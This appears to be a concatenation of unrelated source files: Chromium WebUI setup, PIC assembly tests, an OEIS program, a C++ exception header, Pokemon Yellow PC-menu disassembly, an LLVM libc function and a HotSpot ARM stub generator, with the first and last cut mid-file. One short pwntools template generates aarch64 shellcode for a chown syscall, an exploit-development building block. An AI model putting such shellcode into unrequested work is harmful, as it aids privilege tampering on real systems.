IDR_WEBUI_JS_TEST_LOADER_JS); source->AddResourcePath("test_loader_util.js", IDR_WEBUI_JS_TEST_LOADER_UTIL_JS); #if !DCHECK_IS_ON() // Add a default path to avoid crash when not debugging. source->SetDefaultResource(IDR_ASH_PERSONALIZATION_APP_TRUSTED_INDEX_HTML); #endif // !DCHECK_IS_ON() } void AddStrings(content::WebUIDataSource* source) { static constexpr webui::LocalizedString kLocalizedStrings[] = { {"title", IDS_PERSONALIZATION_APP_TITLE}, {"back", IDS_PERSONALIZATION_APP_BACK_BUTTON}, {"currentlySet", IDS_PERSONALIZATION_APP_CURRENTLY_SET}, {"myImagesLabel", IDS_PERSONALIZATION_APP_MY_IMAGES}, {"wallpaperCollections", IDS_PERSONALIZATION_APP_WALLPAPER_COLLECTIONS}, {"center", IDS_PERSONALIZATION_APP_CENTER}, {"fill", IDS_PERSONALIZATION_APP_FILL}, {"changeDaily", IDS_PERSONALIZATION_APP_CHANGE_DAILY}, {"ariaLabelChangeDaily", IDS_PERSONALIZATION_APP_ARIA_LABEL_CHANGE_DAILY}, {"refresh", IDS_PERSONALIZATION_APP_REFRESH}, {"ariaLabelRefresh", IDS_PERSONALIZATION_APP_ARIA_LABEL_REFRESH}, {"dailyRefresh", IDS_PERSONALIZATION_APP_DAILY_REFRESH}, {"unknownImageAttribution", IDS_PERSONALIZATION_APP_UNKNOWN_IMAGE_ATTRIBUTION}, {"networkError", IDS_PERSONALIZATION_APP_NETWORK_ERROR}, {"ariaLabelLoading", IDS_PERSONALIZATION_APP_ARIA_LABEL_LOADING}, // Using old wallpaper app error string pending final revision. // TODO(b/195609442) {"setWallpaperError", IDS_PERSONALIZATION_APP_SET_WALLPAPER_ERROR}, {"loadWallpaperError", IDS_PERSONALIZATION_APP_LOAD_WALLPAPER_ERROR}, {"dismiss", IDS_PERSONALIZATION_APP_DISMISS}, {"ariaLabelViewFullScreen", IDS_PERSONALIZATION_APP_ARIA_LABEL_VIEW_FULL_SCREEN}, {"exitFullscreen", IDS_PERSONALIZATION_APP_EXIT_FULL_SCREEN}, {"ariaLabelExitFullscreen", IDS_PERSONALIZATION_APP_ARIA_LABEL_EXIT_FULL_SCREEN}, {"setAsWallpaper", IDS_PERSONALIZATION_APP_SET_AS_WALLPAPER}}; source->AddLocalizedStrings(kLocalizedStrings); if (features::IsWallpaperGooglePhotosIntegrationEnabled()) { static constexpr webui::LocalizedString kGooglePhotosLocalizedStrings[] = { {"googlePhotosLabel", IDS_PERSONALIZATION_APP_GOOGLE_PHOTOS}, {"googlePhotosAlbumsTabLabel", IDS_PERSONALIZATION_APP_GOOGLE_PHOTOS_ALBUMS_TAB}, {"googlePhotosPhotosTabLabel", IDS_PERSONALIZATION_APP_GOOGLE_PHOTOS_PHOTOS_TAB}}; source->AddLocalizedStrings(kGooglePhotosLocalizedStrings); } source->UseStringsJs(); } void AddBooleans(content::WebUIDataSource* source) { source->AddBoolean("fullScreenPreviewEnabled", features::IsWallpaperFullScreenPreviewEnabled()); source->AddBoolean("isGooglePhotosIntegrationEnabled", features::IsWallpaperGooglePhotosIntegrationEnabled()); source->AddBoolean("isPersonalizationHubEnabled", features::IsPersonalizationHubEnabled()); } } // namespace PersonalizationAppUI::PersonalizationAppUI( content::WebUI* web_ui, std::unique_ptr<PersonalizationAppUiDelegate> delegate) : ui::MojoWebUIController(web_ui), delegate_(std::move(delegate)) { DCHECK(delegate_); std::unique_ptr<content::WebUIDataSource> source = base::WrapUnique( content::WebUIDataSource::Create(kChromeUIPersonalizationAppHost)); source->OverrideContentSecurityPolicy( network::mojom::CSPDirectiveName::ScriptSrc, "script-src chrome://resources chrome://test 'self';"); // Allow requesting a chrome-untrusted://personalization/ iframe. web_ui->AddRequestableScheme(content::kChromeUIUntrustedScheme); source->OverrideContentSecurityPolicy( network::mojom::CSPDirectiveName::FrameSrc, base::StrCat( {"frame-src ", kChromeUIUntrustedPersonalizationAppURL, ";"})); // TODO(crbug/1169829) set up trusted types properly to allow Polymer to write // html source->DisableTrustedTypesCSP(); AddResources(source.get()); AddStrings(source.get()); AddBooleans(source.get()); auto* browser_context = web_ui->GetWebContents()->GetBrowserContext(); content::WebUIDataSource::Add(browser_context, source.release()); } PersonalizationAppUI::~PersonalizationAppUI() = default; void PersonalizationAppUI::BindInterface( mojo::PendingReceiver<personalization_app::mojom::WallpaperProvider> receiver) { delegate_->BindInterface(std::move(receiver)); } WEB_UI_CONTROLLER_TYPE_IMPL(PersonalizationAppUI) } // namespace ash
#include "Platform.inc" #include "FarCalls.inc" #include "TemperatureSensor.inc" #include "TestFixture.inc" #include "../InitialiseAfterTemperatureSensorMock.inc" radix decimal InitialisationChainTest code global testArrange testArrange: fcall initialiseInitialiseAfterTemperatureSensorMock testAct: fcall initialiseTemperatureSensor testAssert: banksel calledInitialiseAfterTemperatureSensor .assert "calledInitialiseAfterTemperatureSensor != 0, 'Next initialiser in chain was not called.'" return end
; A068219: Denominators of coefficients in log(1+x)*(1+x)^(1/3) power series. ; 3,3,9,3,15,9,21,6,27,15,33,9,39,21,45,12,51,27,57,15,63,33,69,18,75,39,81,21,87,45,93,24,99,51,105,27,111,57,117,30,123,63,129,33,135,69,141,36,147,75,153,39,159,81,165,42,171,87,177,45,183,93,189,48,195,99,201,51,207,105,213,54,219,111,225,57,231,117,237,60,243,123,249,63,255,129,261,66,267,135,273,69,279,141,285,72,291,147,297,75 add $0,1 dif $0,2 dif $0,2 mul $0,3
/// @file /// @brief Contains Switch::System::OverflowException exception. #pragma once #include "ArithmeticException.hpp" /// @brief The Switch namespace contains all fundamental classes to access Hardware, Os, System, and more. namespace Switch { /// @brief The System namespace contains fundamental classes and base classes that define commonly-used value and reference data types, events and event handlers, interfaces, attributes, and processing exceptions. namespace System { /// @brief The exception that is thrown when an arithmetic, casting, or conversion operation in a checked context results in an overflow. /// @par Library /// Switch.Core class core_export_ OverflowException : public ArithmeticException { public: /// @brief Create a new instance of class OverflowException /// @remarks Message is set with the default message associate to the error. OverflowException() : ArithmeticException() {} /// @brief Create a new instance of class OverflowException /// @param value The Excetion to copy. /// @remarks Message is set with the default message associate to the error. OverflowException(const OverflowException& value) : ArithmeticException(value) {} /// @brief Create a new instance of class OverflowException /// @param information Conatains current information of file and Number of line in the file where the exception is occurred. Typically #caller_. /// @remarks Message is set with the default message associate to the error. explicit OverflowException(const System::Runtime::CompilerServices::Caller& information) : ArithmeticException(information) {} /// @brief Create a new instance of class OverflowException /// @param message Message string associate to the error. explicit OverflowException(const System::String& message) : ArithmeticException(message) {} /// @brief Create a new instance of class OverflowException /// @param message Message string associate to the error. /// @param information Conatains current information of file and Number of line in the file where the exception is occurred. Typically #caller_. OverflowException(const System::String& message, const System::Runtime::CompilerServices::Caller& information) : ArithmeticException(message, information) {} /// @brief Create a new instance of class OverflowException /// @param message Message string associate to the error. /// @param innerException The exception that is the cause of the current exception, or a null reference if no inner exception is specified. /// @param information Conatains current information of file and Number of line in the file where the exception is occurred. Typically #caller_. OverflowException(const System::String& message, const System::Exception& innerException, const System::Runtime::CompilerServices::Caller& information) : ArithmeticException(message, innerException, information) {} private: System::String GetDefaultMessage() const override {return "Arithmetic operation resulted in an overflow."; } }; } } using namespace Switch;
DisplayPCMainMenu:: xor a ld [H_AUTOBGTRANSFERENABLED], a call SaveScreenTilesToBuffer2 ld a, [wNumHoFTeams] and a jr nz, .leaguePCAvailable CheckEvent EVENT_GOT_POKEDEX jr z, .noOaksPC ld a, [wNumHoFTeams] and a jr nz, .leaguePCAvailable coord hl, 0, 0 lb bc, 8, 14 jr .next .noOaksPC coord hl, 0, 0 lb bc, 6, 14 jr .next .leaguePCAvailable coord hl, 0, 0 lb bc, 10, 14 .next call TextBoxBorder call UpdateSprites ld a, 3 ld [wMaxMenuItem], a CheckEvent EVENT_MET_BILL jr nz, .metBill coord hl, 2, 2 ld de, SomeonesPCText jr .next2 .metBill coord hl, 2, 2 ld de, BillsPCText .next2 call PlaceString coord hl, 2, 4 ld de, wPlayerName call PlaceString ld l, c ld h, b ld de, PlayersPCText call PlaceString CheckEvent EVENT_GOT_POKEDEX jr z, .noOaksPC2 coord hl, 2, 6 ld de, OaksPCText call PlaceString ld a, [wNumHoFTeams] and a jr z, .noLeaguePC ld a, 4 ld [wMaxMenuItem], a coord hl, 2, 8 ld de, PKMNLeaguePCText call PlaceString coord hl, 2, 10 ld de, LogOffPCText jr .next3 .noLeaguePC coord hl, 2, 8 ld de, LogOffPCText jr .next3 .noOaksPC2 ld a, $2 ld [wMaxMenuItem], a coord hl, 2, 6 ld de, LogOffPCText .next3 call PlaceString ld a, A_BUTTON | B_BUTTON ld [wMenuWatchedKeys], a ld a, 2 ld [wTopMenuItemY], a ld a, 1 ld [wTopMenuItemX], a xor a ld [wCurrentMenuItem], a ld [wLastMenuItem], a ld a, 1 ld [H_AUTOBGTRANSFERENABLED], a ret SomeonesPCText: db "SOMEONE's PC@" BillsPCText: db "BILL's PC@" PlayersPCText: db "'s PC@" OaksPCText: db "PROF.OAK's PC@" PKMNLeaguePCText: db $4a, "LEAGUE@" LogOffPCText: db "LOG OFF@" BillsPC_:: ld hl, wd730 set 6, [hl] xor a ld [wParentMenuItem], a inc a ; MONSTER_NAME ld [wNameListType], a call LoadHpBarAndStatusTilePatterns ld a, [wListScrollOffset] push af ld a, [wFlags_0xcd60] bit 3, a ; accessing Bill's PC through another PC? jr nz, BillsPCMenu ; accessing it directly ld a, $99 call PlaySound ld hl, SwitchOnText call PrintText BillsPCMenu: ld a, [wParentMenuItem] ld [wCurrentMenuItem], a ld hl, vChars2 + $780 ld de, PokeballTileGraphics lb bc, BANK(PokeballTileGraphics), $01 call CopyVideoData call LoadScreenTilesFromBuffer2DisableBGTransfer coord hl, 0, 12 lb bc, 4, 18 call TextBoxBorder coord hl, 0, 0 lb bc, 12, 12 call TextBoxBorder call UpdateSprites coord hl, 2, 2 ld de, BillsPCMenuText call PlaceString ld hl, wTopMenuItemY ld a, 2 ld [hli], a ; wTopMenuItemY dec a ld [hli], a ; wTopMenuItemX inc hl inc hl ld a, 5 ld [hli], a ; wMaxMenuItem ld a, A_BUTTON | B_BUTTON ld [hli], a ; wMenuWatchedKeys xor a ld [hli], a ; wLastMenuItem ld [hli], a ; wPartyAndBillsPCSavedMenuItem ld hl, wListScrollOffset ld [hli], a ; wListScrollOffset ld [hl], a ; wMenuWatchMovingOutOfBounds ld [wPlayerMonNumber], a coord hl, 9, 14 lb bc, 2, 9 call TextBoxBorder ld a, [wCurrentBoxNum] and $7f cp 9 jr c, .singleDigitBoxNum ; two digit box num sub 9 coord hl, 17, 16 ld [hl], "1" add "0" jr .next .singleDigitBoxNum add "1" .next Coorda 18, 16 coord hl, 10, 16 ld de, BoxNoPCText call PlaceString ld a, 1 ld [H_AUTOBGTRANSFERENABLED], a call Delay3 ld b, SET_PAL_OVERWORLD call RunPaletteCommand call HandleMenuInput bit 1, a jp nz, ExitBillsPC ; b button call PlaceUnfilledArrowMenuCursor ld a, [wCurrentMenuItem] ld [wParentMenuItem], a and a jp z, BillsPCWithdraw ; withdraw cp $1 jp z, BillsPCDeposit ; deposit cp $2 jp z, BillsPCRelease ; release cp $3 jp z, BillsPCChangeBox ; change box cp $4 jp z, BillsPCPrintBox ExitBillsPC: ld a, [wFlags_0xcd60] bit 3, a ; accessing Bill's PC through another PC? jr nz, .next ; accessing it directly call LoadTextBoxTilePatterns ld a, $9a call PlaySound call WaitForSoundToFinish .next ld hl, wFlags_0xcd60 res 5, [hl] call LoadScreenTilesFromBuffer2 pop af ld [wListScrollOffset], a ld hl, wd730 res 6, [hl] ret BillsPCPrintBox: callab PrintPCBox jp BillsPCMenu BillsPCDeposit: ld a, [wPartyCount] dec a jr nz, .partyLargeEnough ld hl, CantDepositLastMonText call PrintText jp BillsPCMenu .partyLargeEnough ld a, [wNumInBox] cp MONS_PER_BOX jr nz, .boxNotFull ld hl, BoxFullText call PrintText jp BillsPCMenu .boxNotFull ld hl, wPartyCount call DisplayMonListMenu jp c, BillsPCMenu callab IsThisPartymonStarterPikachu_Party jr nc, .asm_215ad call CheckPikachuFollowingPlayer jr z, .asm_215ad ld hl, SleepingPikachuText2 call PrintText jp BillsPCMenu .asm_215ad call DisplayDepositWithdrawMenu jp nc, BillsPCMenu callab IsThisPartymonStarterPikachu_Party jr nc, .asm_215c9 ld e, $1b callab PlayPikachuSoundClip jr .asm_215cf .asm_215c9 ld a, [wcf91] call PlayCry .asm_215cf callabd_ModifyPikachuHappiness PIKAHAPPY_DEPOSITED ld a, PARTY_TO_BOX ld [wMoveMonType], a call MoveMon xor a ld [wRemoveMonFromBox], a call RemovePokemon call WaitForSoundToFinish ld hl, wBoxNumString ld a, [wCurrentBoxNum] and $7f cp 9 jr c, .singleDigitBoxNum sub 9 ld [hl], "1" inc hl add "0" jr .next .singleDigitBoxNum add "1" .next ld [hli], a ld [hl], "@" ld hl, MonWasStoredText call PrintText jp BillsPCMenu SleepingPikachuText2: TX_FAR _SleepingPikachuText2 db "@" BillsPCWithdraw: ld a, [wNumInBox] and a jr nz, .boxNotEmpty ld hl, NoMonText call PrintText jp BillsPCMenu .boxNotEmpty ld a, [wPartyCount] cp PARTY_LENGTH jr nz, .partyNotFull ld hl, CantTakeMonText call PrintText jp BillsPCMenu .partyNotFull ld hl, wNumInBox call DisplayMonListMenu jp c, BillsPCMenu call DisplayDepositWithdrawMenu jp nc, BillsPCMenu ld a, [wWhichPokemon] ld hl, wBoxMonNicks call GetPartyMonName callab IsThisPartymonStarterPikachu_Box jr nc, .asm_21660 ld e, $22 callab PlayPikachuSoundClip jr .asm_21666 .asm_21660 ld a, [wcf91] call PlayCry .asm_21666 xor a ; BOX_TO_PARTY ld [wMoveMonType], a call MoveMon ld a, 1 ld [wRemoveMonFromBox], a call RemovePokemon call WaitForSoundToFinish ld hl, MonIsTakenOutText call PrintText jp BillsPCMenu BillsPCRelease: ld a, [wNumInBox] and a jr nz, .loop ld hl, NoMonText call PrintText jp BillsPCMenu .loop ld hl, wNumInBox call DisplayMonListMenu jp c, BillsPCMenu callab IsThisPartymonStarterPikachu_Box jr c, .asm_216cb ld hl, OnceReleasedText call PrintText call YesNoChoice ld a, [wCurrentMenuItem] and a jr nz, .loop inc a ld [wRemoveMonFromBox], a call RemovePokemon call WaitForSoundToFinish ld a, [wcf91] call PlayCry ld hl, MonWasReleasedText call PrintText jp BillsPCMenu .asm_216cb ld a, [wWhichPokemon] ld hl, wBoxMonNicks call GetPartyMonName ld e, $27 callab PlayPikachuSoundClip ld hl, PikachuUnhappyText call PrintText jp BillsPCMenu BillsPCChangeBox: callba ChangeBox jp BillsPCMenu DisplayMonListMenu: ld a, l ld [wListPointer], a ld a, h ld [wListPointer + 1], a xor a ld [wPrintItemPrices], a ld [wListMenuID], a inc a ; MONSTER_NAME ld [wNameListType], a ld a, [wPartyAndBillsPCSavedMenuItem] ld [wCurrentMenuItem], a call DisplayListMenuID ld a, [wCurrentMenuItem] ld [wPartyAndBillsPCSavedMenuItem], a ret BillsPCMenuText: db "WITHDRAW ", $4a next "DEPOSIT ", $4a next "RELEASE ", $4a next "CHANGE BOX" next "PRINT BOX" next "SEE YA!" db "@" BoxNoPCText: db "BOX No.@" KnowsHMMove:: ; returns whether mon with party index [wWhichPokemon] knows an HM move ld hl, wPartyMon1Moves ld bc, wPartyMon2 - wPartyMon1 jr .next ; unreachable ld hl, wBoxMon1Moves ld bc, wBoxMon2 - wBoxMon1 .next ld a, [wWhichPokemon] call AddNTimes ld b, NUM_MOVES .loop ld a, [hli] push hl push bc ld hl, HMMoveArray ld de, 1 call IsInArray pop bc pop hl ret c dec b jr nz, .loop and a ret HMMoveArray: db CUT db FLY db SURF db STRENGTH db FLASH db -1 DisplayDepositWithdrawMenu: coord hl, 9, 10 lb bc, 6, 9 call TextBoxBorder ld a, [wParentMenuItem] and a ; was the Deposit or Withdraw item selected in the parent menu? ld de, DepositPCText jr nz, .next ld de, WithdrawPCText .next coord hl, 11, 12 call PlaceString coord hl, 11, 14 ld de, StatsCancelPCText call PlaceString ld hl, wTopMenuItemY ld a, 12 ld [hli], a ; wTopMenuItemY ld a, 10 ld [hli], a ; wTopMenuItemX xor a ld [hli], a ; wCurrentMenuItem inc hl ld a, 2 ld [hli], a ; wMaxMenuItem ld a, A_BUTTON | B_BUTTON ld [hli], a ; wMenuWatchedKeys xor a ld [hl], a ; wLastMenuItem ld hl, wListScrollOffset ld [hli], a ; wListScrollOffset ld [hl], a ; wMenuWatchMovingOutOfBounds ld [wPlayerMonNumber], a ld [wPartyAndBillsPCSavedMenuItem], a .loop call HandleMenuInput bit 1, a ; pressed B? jr nz, .exit ld a, [wCurrentMenuItem] and a jr z, .choseDepositWithdraw dec a jr z, .viewStats .exit and a ret .choseDepositWithdraw scf ret .viewStats call SaveScreenTilesToBuffer1 ld a, [wParentMenuItem] and a ld a, PLAYER_PARTY_DATA jr nz, .next2 ld a, BOX_DATA .next2 ld [wMonDataLocation], a predef StatusScreen predef StatusScreen2 call LoadScreenTilesFromBuffer1 call ReloadTilesetTilePatterns call RunDefaultPaletteCommand call LoadGBPal jr .loop DepositPCText: db "DEPOSIT@" WithdrawPCText: db "WITHDRAW@" StatsCancelPCText: db "STATS" next "CANCEL@" SwitchOnText: TX_FAR _SwitchOnText db "@" WhatText: TX_FAR _WhatText db "@" DepositWhichMonText: TX_FAR _DepositWhichMonText db "@" MonWasStoredText: TX_FAR _MonWasStoredText db "@" CantDepositLastMonText: TX_FAR _CantDepositLastMonText db "@" BoxFullText: TX_FAR _BoxFullText db "@" MonIsTakenOutText: TX_FAR _MonIsTakenOutText db "@" NoMonText: TX_FAR _NoMonText db "@" CantTakeMonText: TX_FAR _CantTakeMonText db "@" PikachuUnhappyText: TX_FAR _PikachuUnhappyText db "@" ReleaseWhichMonText: TX_FAR _ReleaseWhichMonText db "@" OnceReleasedText: TX_FAR _OnceReleasedText db "@" MonWasReleasedText: TX_FAR _MonWasReleasedText db "@" CableClubLeftGameboy:: ld a, [hSerialConnectionStatus] cp USING_EXTERNAL_CLOCK ret z ld a, [wPlayerFacingDirection] ; player's sprite facing direction cp SPRITE_FACING_RIGHT ret nz ld a, [wCurMap] cp TRADE_CENTER ld a, LINK_STATE_START_TRADE jr z, .next inc a ; LINK_STATE_START_BATTLE .next ld [wLinkState], a call EnableAutoTextBoxDrawing tx_pre_jump JustAMomentText CableClubRightGameboy:: ld a, [hSerialConnectionStatus] cp USING_INTERNAL_CLOCK ret z ld a, [wPlayerFacingDirection] ; player's sprite facing direction cp SPRITE_FACING_LEFT ret nz ld a, [wCurMap] cp TRADE_CENTER ld a, LINK_STATE_START_TRADE jr z, .next inc a ; LINK_STATE_START_BATTLE .next ld [wLinkState], a call EnableAutoTextBoxDrawing tx_pre_jump JustAMomentText JustAMomentText:: TX_FAR _JustAMomentText db "@" ld a, [wPlayerFacingDirection] ; player's sprite facing direction cp SPRITE_FACING_UP ret nz call EnableAutoTextBoxDrawing tx_pre_jump OpenBillsPCText OpenBillsPCText:: db $FD ; FuncTX_BillsPC
<% from pwnlib.shellcraft.aarch64.linux import syscall %> <%page args="file, owner, group"/> <%docstring> Invokes the syscall chown. See 'man 2 chown' for more information. Arguments: file(char): file owner(uid_t): owner group(gid_t): group </%docstring> ${syscall('SYS_chown', file, owner, group)}
//===-- Implementation of atoll -------------------------------------------===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// #include "src/stdlib/atoll.h" #include "src/__support/common.h" #include "src/__support/str_to_integer.h" namespace __llvm_libc { LLVM_LIBC_FUNCTION(long long, atoll, (const char *str)) { return internal::strtointeger<long long>(str, nullptr, 10); } } // namespace __llvm_libc
/* * Copyright (c) 2008, 2018, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. * */ #include "precompiled.hpp" #include "asm/assembler.hpp" #include "assembler_arm.inline.hpp" #include "gc/shared/barrierSet.hpp" #include "gc/shared/barrierSetAssembler.hpp" #include "interpreter/interpreter.hpp" #include "nativeInst_arm.hpp" #include "oops/instanceOop.hpp" #include "oops/method.hpp" #include "oops/objArrayKlass.hpp" #include "oops/oop.inline.hpp" #include "prims/methodHandles.hpp" #include "runtime/frame.inline.hpp" #include "runtime/handles.inline.hpp" #include "runtime/sharedRuntime.hpp" #include "runtime/stubCodeGenerator.hpp" #include "runtime/stubRoutines.hpp" #include "utilities/align.hpp" #ifdef COMPILER2 #include "opto/runtime.hpp" #endif // Declaration and definition of StubGenerator (no .hpp file). // For a more detailed description of the stub routine structure // see the comment in stubRoutines.hpp #define __ _masm-> #ifdef PRODUCT #define BLOCK_COMMENT(str) /* nothing */ #else #define BLOCK_COMMENT(str) __ block_comment(str) #endif #define BIND(label) bind(label); BLOCK_COMMENT(#label ":") // ------------------------------------------------------------------------------------------------------------------------- // Stub Code definitions // Platform dependent parameters for array copy stubs // Note: we have noticed a huge change in behavior on a microbenchmark // from platform to platform depending on the configuration. // Instead of adding a series of command line options (which // unfortunately have to be done in the shared file and cannot appear // only in the ARM port), the tested result are hard-coded here in a set // of options, selected by specifying 'ArmCopyPlatform' // Currently, this 'platform' is hardcoded to a value that is a good // enough trade-off. However, one can easily modify this file to test // the hard-coded configurations or create new ones. If the gain is // significant, we could decide to either add command line options or // add code to automatically choose a configuration. // see comments below for the various configurations created #define DEFAULT_ARRAYCOPY_CONFIG 0 #define TEGRA2_ARRAYCOPY_CONFIG 1 #define IMX515_ARRAYCOPY_CONFIG 2 // Hard coded choices (XXX: could be changed to a command line option) #define ArmCopyPlatform DEFAULT_ARRAYCOPY_CONFIG #ifdef AARCH64 #define ArmCopyCacheLineSize 64 #else #define ArmCopyCacheLineSize 32 // not worth optimizing to 64 according to measured gains #endif // AARCH64 // TODO-AARCH64: tune and revise AArch64 arraycopy optimizations // configuration for each kind of loop typedef struct { int pld_distance; // prefetch distance (0 => no prefetch, <0: prefetch_before); #ifndef AARCH64 bool split_ldm; // if true, split each STM in STMs with fewer registers bool split_stm; // if true, split each LTM in LTMs with fewer registers #endif // !AARCH64 } arraycopy_loop_config; // configuration for all loops typedef struct { // const char *description; arraycopy_loop_config forward_aligned; arraycopy_loop_config backward_aligned; arraycopy_loop_config forward_shifted; arraycopy_loop_config backward_shifted; } arraycopy_platform_config; // configured platforms static arraycopy_platform_config arraycopy_configurations[] = { // configuration parameters for arraycopy loops #ifdef AARCH64 { {-256 }, // forward aligned {-128 }, // backward aligned {-256 }, // forward shifted {-128 } // backward shifted } #else // Configurations were chosen based on manual analysis of benchmark // results, minimizing overhead with respect to best results on the // different test cases. // Prefetch before is always favored since it avoids dirtying the // cache uselessly for small copies. Code for prefetch after has // been kept in case the difference is significant for some // platforms but we might consider dropping it. // distance, ldm, stm { // default: tradeoff tegra2/imx515/nv-tegra2, // Notes on benchmarking: // - not far from optimal configuration on nv-tegra2 // - within 5% of optimal configuration except for backward aligned on IMX // - up to 40% from optimal configuration for backward shifted and backward align for tegra2 // but still on par with the operating system copy {-256, true, true }, // forward aligned {-256, true, true }, // backward aligned {-256, false, false }, // forward shifted {-256, true, true } // backward shifted }, { // configuration tuned on tegra2-4. // Warning: should not be used on nv-tegra2 ! // Notes: // - prefetch after gives 40% gain on backward copies on tegra2-4, // resulting in better number than the operating system // copy. However, this can lead to a 300% loss on nv-tegra and has // more impact on the cache (fetches futher than what is // copied). Use this configuration with care, in case it improves // reference benchmarks. {-256, true, true }, // forward aligned {96, false, false }, // backward aligned {-256, false, false }, // forward shifted {96, false, false } // backward shifted }, { // configuration tuned on imx515 // Notes: // - smaller prefetch distance is sufficient to get good result and might be more stable // - refined backward aligned options within 5% of optimal configuration except for // tests were the arrays fit in the cache {-160, false, false }, // forward aligned {-160, false, false }, // backward aligned {-160, false, false }, // forward shifted {-160, true, true } // backward shifted } #endif // AARCH64 }; class StubGenerator: public StubCodeGenerator { #ifdef PRODUCT #define inc_counter_np(a,b,c) ((void)0) #else #define inc_counter_np(counter, t1, t2) \ BLOCK_COMMENT("inc_counter " #counter); \ __ inc_counter(&counter, t1, t2); #endif private: address generate_call_stub(address& return_address) { StubCodeMark mark(this, "StubRoutines", "call_stub"); address start = __ pc(); #ifdef AARCH64 const int saved_regs_size = 192; __ stp(FP, LR, Address(SP, -saved_regs_size, pre_indexed)); __ mov(FP, SP); int sp_offset = 16; assert(frame::entry_frame_call_wrapper_offset * wordSize == sp_offset, "adjust this code"); __ stp(R0, ZR, Address(SP, sp_offset)); sp_offset += 16; const int saved_result_and_result_type_offset = sp_offset; __ stp(R1, R2, Address(SP, sp_offset)); sp_offset += 16; __ stp(R19, R20, Address(SP, sp_offset)); sp_offset += 16; __ stp(R21, R22, Address(SP, sp_offset)); sp_offset += 16; __ stp(R23, R24, Address(SP, sp_offset)); sp_offset += 16; __ stp(R25, R26, Address(SP, sp_offset)); sp_offset += 16; __ stp(R27, R28, Address(SP, sp_offset)); sp_offset += 16; __ stp_d(V8, V9, Address(SP, sp_offset)); sp_offset += 16; __ stp_d(V10, V11, Address(SP, sp_offset)); sp_offset += 16; __ stp_d(V12, V13, Address(SP, sp_offset)); sp_offset += 16; __ stp_d(V14, V15, Address(SP, sp_offset)); sp_offset += 16; assert (sp_offset == saved_regs_size, "adjust this code"); __ mov(Rmethod, R3); __ mov(Rthread, R7); __ reinit_heapbase(); { // Pass parameters Label done_parameters, pass_parameters; __ mov(Rparams, SP); __ cbz_w(R6, done_parameters); __ sub(Rtemp, SP, R6, ex_uxtw, LogBytesPerWord); __ align_reg(SP, Rtemp, StackAlignmentInBytes); __ add(Rparams, SP, R6, ex_uxtw, LogBytesPerWord); __ bind(pass_parameters); __ subs_w(R6, R6, 1); __ ldr(Rtemp, Address(R5, wordSize, post_indexed)); __ str(Rtemp, Address(Rparams, -wordSize, pre_indexed)); __ b(pass_parameters, ne); __ bind(done_parameters); #ifdef ASSERT { Label L; __ cmp(SP, Rparams); __ b(L, eq); __ stop("SP does not match Rparams"); __ bind(L); } #endif } __ mov(Rsender_sp, SP); __ blr(R4); return_address = __ pc(); __ mov(SP, FP); __ ldp(R1, R2, Address(SP, saved_result_and_result_type_offset)); { // Handle return value Label cont; __ str(R0, Address(R1)); __ cmp_w(R2, T_DOUBLE); __ ccmp_w(R2, T_FLOAT, Assembler::flags_for_condition(eq), ne); __ b(cont, ne); __ str_d(V0, Address(R1)); __ bind(cont); } sp_offset = saved_result_and_result_type_offset + 16; __ ldp(R19, R20, Address(SP, sp_offset)); sp_offset += 16; __ ldp(R21, R22, Address(SP, sp_offset)); sp_offset += 16; __ ldp(R23, R24, Address(SP, sp_offset)); sp_offset += 16; __ ldp(R25, R26, Address(SP, sp_offset)); sp_offset += 16; __ ldp(R27, R28, Address(SP, sp_offset)); sp_offset += 16; __ ldp_d(V8, V9, Address(SP, sp_offset)); sp_offset += 16; __ ldp_d(V10, V11, Address(SP, sp_offset)); sp_offset += 16; __ ldp_d(V12, V13, Address(SP, sp_offset)); sp_offset += 16; __ ldp_d(V14, V15, Address(SP, sp_offset)); sp_offset += 16; assert (sp_offset == saved_regs_size, "adjust this code"); __ ldp(FP, LR, Address(SP, saved_regs_size, post_indexed)); __ ret(); #else // AARCH64 assert(frame::entry_frame_call_wrapper_offset == 0, "adjust this code"); __ mov(Rtemp, SP); __ push(RegisterSet(FP) | RegisterSet(LR)); #ifndef __SOFTFP__ __ fstmdbd(SP, FloatRegisterSet(D8, 8), writeback); #endif __ stmdb(SP, RegisterSet(R0, R2) | RegisterSet(R4, R6) | RegisterSet(R8, R10) | altFP_7_11, writeback); __ mov(Rmethod, R3); __ ldmia(Rtemp, RegisterSet(R1, R3) | Rthread); // stacked arguments // XXX: TODO // Would be better with respect to native tools if the following // setting of FP was changed to conform to the native ABI, with FP // pointing to the saved FP slot (and the corresponding modifications // for entry_frame_call_wrapper_offset and frame::real_fp). __ mov(FP, SP); { Label no_parameters, pass_parameters; __ cmp(R3, 0); __ b(no_parameters, eq); __ bind(pass_parameters); __ ldr(Rtemp, Address(R2, wordSize, post_indexed)); // Rtemp OK, unused and scratchable __ subs(R3, R3, 1); __ push(Rtemp); __ b(pass_parameters, ne); __ bind(no_parameters); } __ mov(Rsender_sp, SP); __ blx(R1); return_address = __ pc(); __ add(SP, FP, wordSize); // Skip link to JavaCallWrapper __ pop(RegisterSet(R2, R3)); #ifndef __ABI_HARD__ __ cmp(R3, T_LONG); __ cmp(R3, T_DOUBLE, ne); __ str(R0, Address(R2)); __ str(R1, Address(R2, wordSize), eq); #else Label cont, l_float, l_double; __ cmp(R3, T_DOUBLE); __ b(l_double, eq); __ cmp(R3, T_FLOAT); __ b(l_float, eq); __ cmp(R3, T_LONG); __ str(R0, Address(R2)); __ str(R1, Address(R2, wordSize), eq); __ b(cont); __ bind(l_double); __ fstd(D0, Address(R2)); __ b(cont); __ bind(l_float); __ fsts(S0, Address(R2)); __ bind(cont); #endif __ 